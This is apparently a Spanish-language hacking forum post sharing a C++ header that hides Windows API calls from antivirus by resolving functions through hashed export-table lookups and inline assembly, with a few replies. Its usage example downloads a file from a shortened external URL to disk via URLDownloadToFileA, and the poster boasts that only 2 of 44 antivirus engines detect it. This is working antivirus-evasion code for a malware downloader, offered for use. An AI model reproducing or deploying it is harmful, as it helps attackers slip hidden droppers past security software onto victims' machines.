#ifndef CRYPTAPI
#define CRYPTAPI
struct FNV1a{
template <size_t N>
__forceinline static DWORD hash(const char (&str)[N]){
return (hash<N-1>((const char(&)[N-1])str)^str[N-1]) * 16777619u;
};
template <>
__forceinline static DWORD hash<1>(const char (&str)[1]){
return (2166136261u^str[0]) * 16777619u;
};
__forceinline static DWORD hash(char* str){
DWORD r = 2166136261u;
do{
r ^= *str;
r *= 16777619u;
}while(*str++);
return r;
};
};
struct CUSTOM{
template <size_t N>
__forceinline static DWORD hash(const char (&str)[N]){
return ((hash<N-1>((const char(&)[N-1])str) ^ (str[N-1] << 24)) >> 2);
};
template <>
__forceinline static DWORD hash<1>(const char (&str)[1]){
return (str[0]<<24)>>2;
};
__forceinline static DWORD hash(char* str){
DWORD r = 0;
do{
r ^= (*str << 24);
r >>= 2;
}while(*str++);
return r;
};
};
template <class ret, class hashFnc = FNV1a> class invoke{
private:
char* base;
DWORD FuncHash;
public:
template <size_t N, size_t M>
invoke(const char (&DLL)[N], const char (&Func)[M]){
base = (char*)LoadLibraryA(DLL);
FuncHash = hashFnc::hash<M>(Func);
};
ret operator()(int numArgs, ...){
BYTE* dirApi;
IMAGE_DOS_HEADER* IDH = (IMAGE_DOS_HEADER*)base;
IMAGE_NT_HEADERS* INH = (IMAGE_NT_HEADERS*)(base + IDH->e_lfanew);
IMAGE_OPTIONAL_HEADER* IOH = &INH->OptionalHeader;
IMAGE_DATA_DIRECTORY* IDE = (IMAGE_DATA_DIRECTORY*)(&IOH->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]);
IMAGE_EXPORT_DIRECTORY* IED = (IMAGE_EXPORT_DIRECTORY *)(base + IDE->VirtualAddress);
void** FTABLE = (void **)(base + IED->AddressOfFunctions);
WORD* OTABLE = (WORD *)(base + IED->AddressOfNameOrdinals);
char** NTABLE = (char **)(base + IED->AddressOfNames);
for (DWORD i = 0; i <= IED->NumberOfNames; i++){
if (hashFnc::hash(base + (DWORD)NTABLE[i]) == FuncHash){
dirApi = (BYTE*)(base + (DWORD)FTABLE[OTABLE[i]]);
break;
}
}
va_list listaArgs;
void** args;
va_start(listaArgs, numArgs);
args = &va_arg(listaArgs, void*);
for(int n=numArgs-1; n>=0; n--){
void* temp = args[n];
__asm
push [temp]
}
va_end(listaArgs);
__asm
call dirApi
};
};
#endif
Forma de realizar la llamada:
invoke<%TIPO_DE_RETORNO%,%ALGORITMO_USADO%>(%NOMBRE_DLL%,%NOMBRE_FUNCION%)(%N_PARAMETROS%,%PARAMETRO1%,%PARAMETRO2%,...,%PARAMETRON%);
Ejemplo de uso:#pragma comment(linker,"/ENTRY:main")
#include <Windows.h>
#include "cryptAPI.hpp"
void main(){
invoke<void, FNV1a>("URLMON", "URLDownloadToFileA")(5, 0, "http://goo.gl/veps2", "C:/test.png", 0, 0);
invoke<BOOL, FNV1a>("KERNEL32", "ExitProcess")(1, 0);
}
2/44 AV lo detectan... Nada mal teniendo en cuenta que ni
URLMON ni
http:// va ofuscado/cifrado.
Thread original:
http://foro.h-sec.org/programacion/(template)-cryptapi-cifra-la-llamada-a-las-apis-d
Buen código, aunque yo sigo prefiriendo usar punteros a funciones previamente declarados.
Mas que otra cosa porque es un poco engorroso la manera d hacer la llamada.
Saludos
Para pocas funciones yo también prefiero usar typedefs y trabajar con los punteros.... Y mira mi último post en h-Sec :-*